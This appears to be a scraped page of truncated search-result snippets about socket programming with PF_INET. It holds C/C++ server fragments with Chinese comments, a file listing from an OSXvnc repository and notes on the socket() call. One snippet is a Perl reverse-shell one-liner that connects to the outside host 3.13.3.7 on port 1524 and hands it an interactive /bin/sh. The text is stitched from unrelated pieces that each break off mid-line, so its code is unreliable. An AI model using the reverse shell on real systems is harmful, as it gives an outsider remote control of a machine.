address.sin_port = htons(port);intsock = socket(PF_INET,SOCK_STREAM,0); assert(sock>=0);intret = bind(sock,(structsockaddr*)&address,sizeof(address)); assert(ret!=-1); ret = listen(sock,5); assert(ret!=-1);structsockaddr_inclient;socklen_tclient_addrlength =sizeof(client);intc...
cout<<"Usage:"<<argv[0]<<" portnumber\n"; exit(1); } /* 创建服务器监听套接字 */ if((sockfd = socket(PF_INET,SOCK_STREAM,0)) == -1) { cout<<"Socket error!"<<endl;; exit(1); } /* 为监听套接字准备IP地址和端口 */ memset(&server_addr,0,sizeof(server_addr)); server...
1.static int socketfd = -1; 保存退出 iii.vim player.c //找到setup_tty函数,在函数开头以下代码: /*创建server端*/ socketfd = socket(PF_INET,SOCK_DGRAM,0); if(socketfd<0){perror("socket");return -1;} struct sockaddr_in si; si.sin_family = AF_INET; si.sin_port = htons(2000);...
static int socketfd = -1;保存退出iii. vim player.c /找到setup_tty函数,在函数开头以下代码:/* 创建 server端*/ socketfd = socket(PF_INET,SOCK_DGRAM,0); if(socketfd<0)perror("soc 11、ket");return -1; struct sockaddr_in si; si.sin_family = AF_INET; si.sin_port = htons(2000);...
(hints));hints.ai_family = PF_UNSPEC; // 支持IPv4和IPv6hints.ai_flags = AI_PASSIVE; // 用于bind函数,表示返回的套接字地址结构体中的IP地址是通配地址hints.ai_socktype = SOCK_STREAM; // TCP协议// 获取地址信息snprintf(name, sizeof(name), "%d", ntohs(pcontext->conf.port)); // 将...
Bundles English.lproj French.lproj German.lproj Italian.lproj Japanese.lproj OSXvnc-server OSXvnc.xcodeproj OSXvnc de.lproj en.lproj fr.lproj it.lproj ja.lproj libjpeg-turbo .gitignore .gitmodules .travis.yml LICENSE NSAuthorization.h NSAuthorization.m ...
# method 1 perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # method 2 perl -MIO -e '$...
#include <string.h>#include <linux/videodev2.h>#include <sys/ioctl.h>#include <errno.h>#include <signal.h>#include <sys/socket.h>#include <arpa/inet.h>#include <sys/types.h>#include <sys/stat.h>#include <getopt.h>#include <pthread.h>#include <dlfcn.h>#include <fcntl.h>#...
struct sockaddr_in tcpsock, udpsock;void *handle_tcp(void *arg){ int tcpfd = *((int *)arg);int tcpcon;int n;char *suc = "success";socklen_t len = 0;struct sockaddr_in tcpcli;listen(tcpfd, 20);char str[INET_ADDRSTRLEN];char buf[LINE];while(1){ len = sizeof(tcp...
int socket(int domain, int type, int protocol); domain指明所使用的协议族,通常为PF_INET,表示互联网协议族(TCP/IP协议族);type参数指定socket的类型:SOCK_STREAM 或SOCK_DGRAM,Socket接口还定义了原始Socket(SOCK_RAW),允许程序使用低层协议;protocol通常赋值"0"。Socket()调用返回一个整型socket描述符,你可以...